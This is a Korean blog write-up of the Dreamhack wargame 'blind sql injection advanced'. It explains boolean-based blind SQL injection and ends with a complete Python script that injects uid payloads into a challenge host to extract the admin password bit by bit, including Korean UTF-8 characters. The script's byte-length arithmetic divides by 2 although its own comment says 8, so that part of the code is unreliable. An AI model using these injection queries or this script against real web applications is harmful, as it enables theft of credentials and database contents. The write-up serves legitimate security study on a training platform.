Web Hacking 과제_2(Dreamhack_blind sql injection advanced)
blind sql injection advanced | 워게임 | Dreamhack | 워게임 | Dreamhack
blind sql injection advanced
Description Exercise: Blind SQL Injection Advanced에서 실습하는 문제입니다. 관리자의 비밀번호는 "아스키코드"와 "한글"로 구성되어 있습니다. 문제 수정 내역 2023.07.20 Dockerfile 제공
dreamhack.io
해당문제는 blind sql injection에 관한 문제인 것 같아서 일단 개념정리를 간단히 해보자.
Blind SQL Injection
해당 공격 기법은 스무고개 게임과 유사한 방식으로 데이터를 알아낼 수 있다. 스무고개는 질문자와 답변자가 있고, 질문자가 답변을 하면 답변자가 예/아니오로 대답을 해 질문자가 답을 유추하는 게임인데, 예를 들어 답변자가 7이라는 숫자를 칠판에 적어둔 뒤, 질문을 받는다. 질문자는 해당 숫자가 6인지 묻고, 답변자는 6 보다 큰 숫자라고 대답을 한다. 이후 질문자는 해당 숫자가 8 인지 묻자, 답변자는 8보다 작은 숫자라고 대답을 한다. 이때 질문자는 정답이 7이라는 것을 알 수 있다. 공격자는 이러한 방법으로 데이터베이스의 내용을 알아낼 수 있다. 즉, 질의 결과를 이용자가 화면에서 직접 확인하지 못할 때 참/거짓 반환 결과로 데이터를 획득하는 공격 기법을 Blind SQL Injection이라고 한다.
예시)
# 첫 번째 글자 구하기 SELECT * FROM user_table WHERE uid='admin' and substr(upw,1,1)='a'-- ' and upw=''; # False SELECT * FROM user_table WHERE uid='admin' and substr(upw,1,1)='b'-- ' and upw=''; # True #두 번째 글자 구하기 SELECT * FROM user_table WHERE uid='admin' and substr(upw,2,1)='d'-- ' and upw=''; # False SELECT * FROM user_table WHERE uid='admin' and substr(upw,2,1)='e'-- ' and upw=''; # True
쿼리를 살펴보면, 두 개의 조건이 있는 것을 확인할 수 있는데, 조건을 살펴보기 전에 substr 함수에 대해서 알아보겠다.
substr
해당 함수는 문자열에서 지정한 위치부터 길이까지의 값을 가져오는 함수이다.
예시) substr(string, position, length) substr('ABCD', 1, 1) = 'A' substr('ABCD', 2, 2) = 'BC'
이제 문제를 풀어보겠다.
관리자의 비밀번호는 아스키코드와 한글로 구성되어있다는 것에 힌트를 받고 풀어보자.
즉, 일반적인 특수문자부터, 영문자, 숫자를 구했던 아스키 코드와는 다르게 풀어야 한다는 뜻!
sql문을 보니 Character set이 utf8로 되어있고, utf8에서 한글은 조합형으로 3바이트 영문자는 1바이트를 사용한다고 한다.
CREATE DATABASE user_db CHARACTER SET utf8;
GRANT ALL PRIVILEGES ON user_db.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';
USE `user_db`;
CREATE TABLE users (
idx int auto_increment primary key,
uid varchar(128) not null,
upw varchar(128) not null
);
INSERT INTO users (uid, upw) values ('admin', 'DH{**FLAG**}');
INSERT INTO users (uid, upw) values ('guest', 'guest');
INSERT INTO users (uid, upw) values ('test', 'test');
FLUSH PRIVILEGES;
한글까지 알아내야하는데, 일반적인 아스키 코드로는 구하기 힘들지 않을까? 생각이 들었다.
찾아보니까 한글이 3바이트라고하는데, 이를 이용해서 비트연산으로 블라인드 인젝션을 수행해야할 것 같다.
admin이라고 입력했기에 참이 되고 존재한다는 문구가 뜬다.
swlug라고 쳐봤다.
GET방식이라는 것을 확인했다.
기존에 풀던 방식과 비슷한지 보기 위해 ' and 1=1 -- 제출해보아싿.
전자가 참이고 후자가 참이어야 sql문이 성립이 되어서 존재한다는 문구가 출력될 것이지만
전자가 ''으로 거짓이기 때문에 아무것도 뜨지 않는 것 같았다.
둘 중 하나만 참이면 되는 or 연산으로 해주었다.
그러나 뜨지않음
이 이상의 문제를 푸는데 있어서는 도움이 필요해서 찾아보았다.
문제는 코드에서 확인할 수 있는데, 이유는 아래처럼 템플릿에서 row가 1개인 것만을 구별하고 있었다.
{% if nrows == 1%}
<pre style="font-size:150%">user "{{uid}}" exists.</pre>
{% endif %}
그렇기 때문에 위와 같이 limit으로 row를 1개로 정해주면, exists라는 문자열이 떴는데
이 문자열로 참 거짓을 구별하면 된다고 한다.
password의 길이를 알아보는 코드를 짜야한다.
반복을 돌 때마다 길이에 +1 해주고 그 길이를 넣은 쿼리가 실행되고 exists라는 문자열이 존재하면 break를 해주도록
해야한다.
쿼리에서 length가 아닌 char_length를 사용한 것은 char_length는 문자 구분없이 문자 하나당 하나로 구분하기 때문이다.
터미널을 보면 password길이를 구한 것을 확인할 수 있고,
아래에서는 각 문자의 bit의 길이를 구해보았다.
구하는 이유는 한글의 bit와 특수문자의 bit열의 길이는 다르기 때문!
substr로 문자를 각각 지정해주었고 ord로 아스키코드 형태로 바꾸어 주었다.
bin으로 비트로 바꾸고 length로 bit의 길이를 알아보았는데, exists를 기준으로 구해야한다고 한다.
아래에서는 이제 bit열을 구해보기
위처럼 length대신에 substr로 한번 더 감싸고 bit의 길이만큼 bit하나 하나를 검사해서 1과 같다면 bits에 1을 넣고 아니라면 0을 넣는 형식으로 만들면된다.
마지막으로 이제 각 비트를 Big Endian방식으로 바이트로 바꾸고 utf-8로 그 바이트를 디코딩하여 password를 구해내면 된다.
#!/usr/bin/python3.9
import requests
import sys
from urllib.parse import urljoin
from urllib import parse
url = "http://host1.dreamhack.games:18896/"
password_length = 0
password=""
while(True):
password_length += 1
param = {
'uid':f"admin' and char_length(upw)={password_length} -- "
}
res = requests.get(url,params=param)
if('exists' in res.text):
break
print(f"passwordLength = {password_length}")
for i in range(1,password_length+1):
bits_length=0
while(True):
bits_length += 1
param={
'uid':f"admin' and length(bin(ord(substr(upw,{i},1)))) = {bits_length} -- "
}
if 'exists' in requests.get(url,params=param).text:
break
print(f"{i}번째 문자 비트 길이 : {bits_length}")
bits=""
for j in range(1,bits_length+1):
param={
'uid':f"admin' and substr(bin(ord(substr(upw,{i},1))),{j},1) = '1' -- "
}
if 'exists' in requests.get(url,params=param).text:
bits+='1'
else:
bits+='0'
print(f"{i}번째 문자의 비트열 : {bits}")
password += int.to_bytes(int(bits,2), (bits_length+7)//2, "big").decode("utf-8")#to.bytes(비트(int로 문자열에서 정수로 바꾸고 2진수로 변환
#),bit는 최소 1이므로 +7을 한 후 8로 나눈
#몫으로 바이트의 길이를 정한다.,)
#마지막 Big Endian 형태의 문자로 변환하고 최종적으로
#utf-8로 decode한다.
print(f"현재 패스워드 : {password}")
print(f"최종 패스워드 = {password}")
해당 코드는 password를 알아내기위한 코드!
{이것이비밀번호!?}
느낀점 : 해당 인젝션 과정은 다른 것보다도 익숙하지 않은 아스키코드 변환과 관련한 부분들이 굉장히 까다롭게 느껴졌다.
개념을 공부하면서도 blind sql injection은 기존 익젠션 개념보다 까다롭다고 느껴져서 공부를 더해야겠다고 느꼈는데
문제를 풀어보니 역시나 참고를 많이 했음에도 어렵게 느껴진다.
복습해야지..!
[참고한 자료]
[WARGAME] 드림핵 워게임 - Blind SQL Injection Advanced (velog.io)
[WARGAME] 드림핵 워게임 - Blind SQL Injection Advanced
이번 문제에서 알아야하는 비밀번호는 아스키코드와 한글로 되어있다고 한다.이 말은 즉슨 일반적인 특수문자부터, 영문자, 숫자를 구했던 아스키 코드와는 다르게 풀어야 한다는 것이다.그리
velog.io